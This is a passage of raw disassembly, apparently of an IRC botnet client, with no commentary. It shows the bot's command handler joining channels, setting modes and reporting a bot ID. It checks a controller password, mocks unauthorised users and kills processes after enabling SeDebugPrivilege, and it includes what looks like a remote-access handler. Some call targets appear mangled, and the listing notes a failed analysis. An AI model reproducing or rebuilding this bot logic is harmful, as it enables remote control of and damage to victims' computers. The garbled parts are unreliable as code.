XREF: sub_40EE72+5993j cmp [ebp+var_460], ebx jnz loc_414E11 push 32h nop call near ptr 2610F93h jmp short loc_4147F1 ; --------------------------------------------------------------------------- loc_414807: ; CODE XREF: sub_40EE72+597Dj call near ptr 2650B3Dh nop push eax push offset unk_42FDF0 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_414818: ; CODE XREF: sub_40EE72+1620j ; sub_40EE72+1635j cmp [ebp+var_8], ebx jnz short loc_414837 push ebx push [ebp+var_4] push offset dword_42FDC8 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414837: ; CODE XREF: sub_40EE72+59A9j push [ebp+arg_4] call dword_43AE30 call dword_43ACF8 call sub_40AC42 push ebx nop call near ptr 77E75CB5h loc_414852: ; CODE XREF: sub_40EE72+15F6j ; sub_40EE72+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B8D8 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FDA0 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_414880: ; CODE XREF: sub_40EE72+14BCj ; sub_40EE72+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_42FD78 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_4148B2: ; CODE XREF: sub_40EE72+1492j ; sub_40EE72+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C00D jmp loc_40F236 ; --------------------------------------------------------------------------- loc_4148CB: ; CODE XREF: sub_40EE72+1468j ; sub_40EE72+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_41490A mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_41490A push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_41490A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_41782A add esp, 10h loc_41490A: ; CODE XREF: sub_40EE72+5A62j ; sub_40EE72+5A6Dj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_42FD50 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_416D5C add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C07F push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_4149AD loc_414997: ; CODE XREF: sub_40EE72+5B39j cmp [ebp+var_2FC], ebx jnz loc_40F239 push 32h nop call near ptr 2610F93h jmp short loc_414997 ; --------------------------------------------------------------------------- loc_4149AD: ; CODE XREF: sub_40EE72+5B23j call near ptr 2650B3Dh nop push eax push offset dword_42FD08 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4149BE: ; CODE XREF: sub_40EE72+143Ej ; sub_40EE72+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BEF5 push offset dword_42FCE0 call sub_40BF6D jmp loc_41452A ; --------------------------------------------------------------------------- loc_4149DE: ; CODE XREF: sub_40EE72+1414j ; sub_40EE72+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_414A38 push offset dword_42FCDC push esi call sub_4176D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_414A3E ; --------------------------------------------------------------------------- loc_414A38: ; CODE XREF: sub_40EE72+5BAAj mov [ebp+var_46C], ebx loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j lea eax, [ebp+var_2DC] push offset dword_42FCB0 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset byte_416DC7 push ebx push ebx call near ptr 2680C08h nop mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414AA8 loc_414A96: ; CODE XREF: sub_40EE72+5C34j cmp [ebp+var_460], ebx jnz short loc_414AC3 push 32h nop call near ptr 2610F93h jmp short loc_414A96 ; --------------------------------------------------------------------------- loc_414AA8: ; CODE XREF: sub_40EE72+5C22j call near ptr 2650B3Dh nop push eax push offset dword_42FC68 loc_414AB4: ; CODE XREF: sub_40EE72+489Dj ; sub_40EE72+49B9j lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414AC3: ; CODE XREF: sub_40EE72+4527j ; sub_40EE72+453Fj ... lea eax, [ebp+var_2DC] push eax jmp loc_410654 ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_40EE72+1398j ; sub_40EE72+13ADj push offset aBotid ; "botid" push offset dword_42FC40 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414ADB: ; CODE XREF: sub_40EE72+136Ej ; sub_40EE72+1383j push dword_4CD5F0 call sub_40B721 pop ecx push eax push offset dword_42FC04 loc_414AED: ; CODE XREF: sub_40EE72+5C67j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_4110FD ; --------------------------------------------------------------------------- loc_414B1A: ; CODE XREF: sub_40EE72+1344j ; sub_40EE72+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B4C cmp [ebp+var_C], ebx jz short loc_414B5B push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414B5B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch jmp short loc_414B5B ; --------------------------------------------------------------------------- loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D633 pop ecx pop ecx loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j ; sub_40EE72+5CC5j ... push 0FFFFFFFEh jmp loc_40F23B ; --------------------------------------------------------------------------- loc_414B62: ; CODE XREF: sub_40EE72+131Aj ; sub_40EE72+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_42FBB4 call sub_40BF6D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414B84: ; CODE XREF: sub_40EE72+12F0j ; sub_40EE72+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_42FB74 call sub_40BF6D add esp, 0Ch xor eax, eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414BA5: ; CODE XREF: sub_40EE72+12C6j ; sub_40EE72+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407110 jmp loc_412FF4 ; --------------------------------------------------------------------------- loc_414BBB: ; CODE XREF: sub_40EE72+1221j ; sub_40EE72+1236j push [ebp+esi+var_90] push 1Fh push offset dword_42FB64 push offset dword_42FB58 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: sub_40EE72+11F7j ; sub_40EE72+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_42FB4C push offset dword_42FB3C jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BEB: ; CODE XREF: sub_40EE72+1022j ; sub_40EE72+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414C0A push edi call sub_41781F test eax, eax pop ecx jz short loc_414C0A push edi call sub_41781F pop ecx jmp short loc_414C0F ; --------------------------------------------------------------------------- loc_414C0A: ; CODE XREF: sub_40EE72+5D82j ; sub_40EE72+5D8Dj mov eax, dword_42F5A8 loc_414C0F: ; CODE XREF: sub_40EE72+5D96j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C34 push esi loc_414C21: ; CODE XREF: sub_40EE72+5DD1j lea eax, [ebp+var_488] push 10h push eax call sub_41782A add esp, 0Ch jmp short loc_414C4B ; --------------------------------------------------------------------------- loc_414C34: ; CODE XREF: sub_40EE72+5DACj cmp [ebp+var_9C7], bl jz short loc_414C45 lea eax, [ebp+var_D8] push eax jmp short loc_414C21 ; --------------------------------------------------------------------------- loc_414C45: ; CODE XREF: sub_40EE72+5DC8j mov [ebp+var_488], bl loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_41782A add esp, 0Ch push [ebp+var_478] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B75C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FEA push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414CFC loc_414CE6: ; CODE XREF: sub_40EE72+5E88j cmp [ebp+var_464], ebx jnz loc_40F239 push 32h nop call near ptr 2610F93h jmp short loc_414CE6 ; --------------------------------------------------------------------------- loc_414CFC: ; CODE XREF: sub_40EE72+5E72j nop call near ptr 2650B3Dh push eax push offset unk_42FAF4 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_414D0D: ; CODE XREF: sub_40EE72+FCEj ; sub_40EE72+FE3j ... push edi push offset aSecure ; "secure" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414D35 push edi push offset aSec ; "sec" call sub_4176D0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D3F loc_414D35: ; CODE XREF: sub_40EE72+5EAAj mov [ebp+var_46C], 1 loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D86 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj push eax push offset dword_42FAA8 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_416D5C add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F28 push ebx push ebx nop call near ptr 2680C08h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_414DF6 loc_414DE4: ; CODE XREF: sub_40EE72+5F82j cmp [ebp+var_460], ebx jnz short loc_414E11 push 32h nop call near ptr 2610F93h jmp short loc_414DE4 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_40EE72+5F70j call near ptr 2650B3Dh nop push eax push offset unk_42FA5C loc_414E02: ; CODE XREF: sub_40EE72+3DA5j ; sub_40EE72+4AC1j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414E11: ; CODE XREF: sub_40EE72+2EB3j ; sub_40EE72+3959j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_40F428 ; --------------------------------------------------------------------------- loc_414E22: ; CODE XREF: sub_40EE72+FA4j ; sub_40EE72+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_42FA3C jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_40EE72+F7Aj ; sub_40EE72+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E91 push esi call sub_41781F cmp eax, ebx pop ecx jl short loc_414E86 cmp eax, 2 jge short loc_414E86 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E7B lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_432E08 push eax call sub_4172B0 add esp, 0Ch mov [esi], bl jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j push eax push offset dword_42FA00 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E86: ; CODE XREF: sub_40EE72+5FD3j ; sub_40EE72+5FD8j push eax push offset dword_42F9C4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E91: ; CODE XREF: sub_40EE72+5FC8j mov edi, [ebp+arg_18] xor esi, esi loc_414E96: ; CODE XREF: sub_40EE72+6040j push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414EB9 inc esi add edi, 80h cmp esi, 2 jl short loc_414E96 jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414EB9: ; CODE XREF: sub_40EE72+6034j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_432E08 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414ED3: ; CODE XREF: sub_40EE72+F50j ; sub_40EE72+F65j push [ebp+var_90] push offset dword_432D78 call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414F47 call sub_416F25 push ebx call near ptr 77E75CB5h nop loc_414EF5: ; CODE XREF: sub_40EE72+F26j ; sub_40EE72+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_42F5CC push eax call sub_415D01 add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_42F990 loc_414F40: ; CODE XREF: sub_40EE72+4344j ; sub_40EE72+49D7j ... call sub_40BFE1 pop ecx loc_414F46: ; CODE XREF: sub_40EE72+17E7j pop ecx loc_414F47: ; CODE XREF: sub_40EE72+65Fj ; sub_40EE72+66Bj ... mov eax, [ebp+arg_24] jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414F4F: ; CODE XREF: sub_40EE72+B28j ; sub_40EE72+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F239 cmp [ebp+var_AC], ebx jnz loc_40F239 push offset asc_432E84 ; "!" push [ebp+var_94] call sub_418B6E mov esi, eax push offset dword_436EF4 push ebx inc esi call sub_418B6E push offset asc_42F98C ; "~" push eax call sub_418B6E push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4176D0 add esp, 20h test eax, eax jz short loc_414FEE lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_42F904 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_414FEE: ; CODE XREF: sub_40EE72+6138j mov [ebp+arg_24], offset off_42F6C4 loc_414FF5: ; CODE XREF: sub_40EE72+619Fj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_415055 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42F6C8 jb short loc_414FF5 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_42F8C8 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_415055: ; CODE XREF: sub_40EE72+6192j mov edi, [ebp+arg_18] xor esi, esi loc_41505A: ; CODE XREF: sub_40EE72+6212j cmp [ebp+arg_0], ebx jz loc_40F239 cmp [edi], bl jnz short loc_41507A push [ebp+arg_0] push offset aCool ; "cool" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41508B loc_41507A: ; CODE XREF: sub_40EE72+61F3j inc esi add edi, 80h cmp esi, 2 jl short loc_41505A jmp loc_40F239 ; --------------------------------------------------------------------------- loc_41508B: ; CODE XREF: sub_40EE72+6206j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_418C10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150C2 push ebx push [ebp+var_4] push offset dword_42F89C push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4150C2: ; CODE XREF: sub_40EE72+6234j lea eax, [ebp+var_D8] push eax push offset dword_42F86C jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4150D3: ; CODE XREF: sub_40EE72+20Ej ; sub_40EE72+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h mov dword_4CD76C, edi jmp loc_40F10F sub_40EE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41511F proc near ; CODE XREF: sub_409037+45p ; sub_409037+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2780CF5h push eax call dword_43AD7C test eax, eax jnz short loc_41513E leave retn ; --------------------------------------------------------------------------- loc_41513E: ; CODE XREF: sub_41511F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43AD54 test eax, eax jz short loc_41517C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415165 or [ebp+var_8], 2 jmp short loc_415169 ; --------------------------------------------------------------------------- loc_415165: ; CODE XREF: sub_41511F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415169: ; CODE XREF: sub_41511F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43AE04 mov esi, eax loc_41517C: ; CODE XREF: sub_41511F+32j push [ebp+var_4] nop call near ptr 2631A0Bh mov eax, esi pop esi leave retn sub_41511F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41518A proc near ; CODE XREF: sub_40EE72+4B66p ; sub_41533B+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43ADB8, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415334 cmp dword_43AD9C, ebx jz loc_415334 cmp dword_43ACB8, ebx jz loc_415334 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push ebx push 0Fh call dword_43ADB8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415327 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43AD9C mov esi, dword_424078 test eax, eax jz loc_415322 loc_41522D: ; CODE XREF: sub_41518A+BEj ; sub_41518A+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43ACB8 test eax, eax jz loc_415322 cmp [ebp+arg_10], ebx jnz short loc_41522D cmp [ebp+arg_C], ebx jnz loc_4152DA cmp [ebp+arg_4], ebx jz short loc_41522D push [ebp+var_124] push 8 call dword_43ADB8 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415297 lea eax, [ebp+var_350] push eax push edi call dword_43AC64 push [ebp+var_124] test eax, eax jz short loc_41529D lea eax, [ebp+var_230] jmp short loc_4152A3 ; --------------------------------------------------------------------------- loc_415297: ; CODE XREF: sub_41518A+EBj push [ebp+var_124] loc_41529D: ; CODE XREF: sub_41518A+103j lea eax, [ebp+var_108] loc_4152A3: ; CODE XREF: sub_41518A+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h push edi call esi jmp loc_41522D ; --------------------------------------------------------------------------- loc_4152DA: ; CODE XREF: sub_41518A+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41522D push [ebp+var_124] push ebx push 1F0FFFh nop call near ptr 2720696h push [ebp+var_4] mov edi, eax call esi push ebx push edi nop call near ptr 27D0A9Dh test eax, eax jnz short loc_41531D push edi call esi jmp short loc_415334 ; --------------------------------------------------------------------------- loc_41531D: ; CODE XREF: sub_41518A+18Cj push 1 pop eax jmp short loc_415336 ; --------------------------------------------------------------------------- loc_415322: ; CODE XREF: sub_41518A+9Dj ; sub_41518A+B5j push [ebp+var_4] call esi loc_415327: ; CODE XREF: sub_41518A+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx loc_415334: ; CODE XREF: sub_41518A+3Aj ; sub_41518A+46j ... xor eax, eax loc_415336: ; CODE XREF: sub_41518A+196j pop edi pop esi pop ebx leave retn sub_41518A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41533B proc near ; DATA XREF: sub_40EE72+595Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_432F08 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41539A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_41539A: ; CODE XREF: sub_41533B+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_41518A add esp, 18h test eax, eax jnz short loc_4153C2 push offset unk_432ED0 jmp short loc_4153C7 ; --------------------------------------------------------------------------- loc_4153C2: ; CODE XREF: sub_41533B+7Ej push offset unk_432E98 loc_4153C7: ; CODE XREF: sub_41533B+85j lea eax, [ebp+var_298] push eax call sub_4172B0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153FA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_4153FA: ; CODE XREF: sub_41533B+9Dj lea eax, [ebp+var_298] push eax call sub_40BF6D push [ebp+var_14] call sub_417078 pop ecx pop ecx push esi nop call near ptr 2610356h pop edi pop esi sub_41533B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415419 proc near ; CODE XREF: sub_40EE72+4B08p ; sub_416E97+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 2720696h mov esi, eax test esi, esi jz short loc_41544B push 0 push esi nop call near ptr 27D0A9Dh test eax, eax jnz short loc_41544B push esi xor edi, edi nop call near ptr 2631A0Bh loc_41544B: ; CODE XREF: sub_415419+1Aj ; sub_415419+27j mov eax, edi pop edi pop esi retn sub_415419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415450 proc near ; CODE XREF: sub_4030D1+Ap ; ___:0040369Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41730C mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4246A0 call sub_417DC4 sub esi, eax mov eax, esi pop esi leave retn sub_415450 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4407FC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_43AD80 test eax, eax jnz short loc_415504 push dword ptr [esi] call dword_43AE30 push dword ptr [ebp+8] call sub_417078 pop ecx push edi nop call near ptr 2610356h loc_415504: ; CODE XREF: ___:004154EAj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_43ADB0 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_415685 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_43ACF4 test eax, eax jz short loc_41557D call dword_43AD2C push eax push offset dword_432FFC call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push edi nop call near ptr 2610356h loc_41557D: ; CODE XREF: ___:00415558j push 2 lea eax, [ebp-18h] push 4 push eax call dword_43AD50 cmp eax, edi jnz short loc_4155A7 push dword ptr [ebp-18h] call dword_43AE24 push eax lea eax, [ebp-0B0h] push eax call sub_4172B0 jmp short loc_4155B5 ; --------------------------------------------------------------------------- loc_4155A7: ; CODE XREF: ___:0041558Dj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4179C0 loc_4155B5: ; CODE XREF: ___:004155A5j pop ecx pop ecx push edi push ebx push offset byte_436EDC push dword ptr [esi] call dword_43ADE8 cmp dword_4CD77C, edi jnz short loc_415617 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4156DF add esp, 10h test eax, eax jnz short loc_415617 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push dword ptr [ebp+8] call sub_417078 pop ecx push edi nop call near ptr 2610356h loc_415617: ; CODE XREF: ___:004155CCj ; ___:004155EDj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_432FB0 call sub_40BFE1 push dword ptr [ebp+8] call sub_4165C6 add esp, 10h test eax, eax jnz short loc_41565E nop call near ptr 2650B3Dh push eax push offset dword_432F74 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push ebx nop call near ptr 2610356h loc_41565E: ; CODE XREF: ___:00415639j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_432F3C call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 10h push edi nop call near ptr 2610356h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415685 proc near ; CODE XREF: ___:0041551Ap ; ___:00415527p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 1 jnz short loc_4156D5 mov esi, [ebp+arg_4] loc_4156A3: ; CODE XREF: 